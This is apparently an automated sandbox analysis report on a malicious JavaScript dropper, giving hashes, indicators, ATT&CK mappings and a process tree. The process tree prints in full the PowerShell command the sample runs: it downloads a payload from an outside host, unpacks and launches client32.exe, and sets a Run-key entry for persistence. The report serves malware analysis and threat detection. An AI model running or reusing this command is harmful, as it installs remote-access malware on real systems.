b20cae48e98bb3cd42241b104a8a99326e462c64c4d46ec96075dcf77460a7f1

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
29-08-2023 08:16

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General

Target

139613961396.js
Size

3KB
MD5

7888817de0e288f6ce7ab1c794dfbf58
SHA1

a9c9286b4e18e211b020076da3f1304c909cc1a6
SHA256

b20cae48e98bb3cd42241b104a8a99326e462c64c4d46ec96075dcf77460a7f1
SHA512

8417cd4074718c3e56e0261d8fd9c2b33f135262be2acb57966e5dcc41ec36921019c3d40e9df40f25d2f9a41276bd436487cb629b7fab6e5102370330e8c2d2

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://instalfrio.cl/destination.txt

exe.dropper

http://instalfrio.cl/destination.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1492	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1492	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2132 wrote to memory of 1492	2132	wscript.exe	28
PID 2132 wrote to memory of 1492	2132	wscript.exe	28
PID 2132 wrote to memory of 1492	2132	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\139613961396.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C "$u='http://instalfrio.cl/destination.txt';$6=(New-Object System.Net.WebClient).DownloadString($u);$a=[System.Convert]::FromBase64String($6);$d=[System.Environment]::GetFolderPath('ApplicationData')+'\D';if (!(Test-Path $d -PathType Container)) { New-Item -Path $d -ItemType Directory };$p=Join-Path $d 'p.zip';[System.IO.File]::WriteAllBytes($p,$a);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$d)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $d 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$s=$d+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='X';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1492-5-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/1492-4-0x000000001B240000-0x000000001B522000-memory.dmp

Filesize
2.9MB

Download
memory/1492-7-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/1492-6-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/1492-8-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/1492-9-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/1492-10-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/1492-11-0x0000000002770000-0x00000000027F0000-memory.dmp

Filesize
512KB

Download
memory/1492-12-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download
memory/1492-14-0x000007FEF5570000-0x000007FEF5F0D000-memory.dmp

Filesize
9.6MB

Download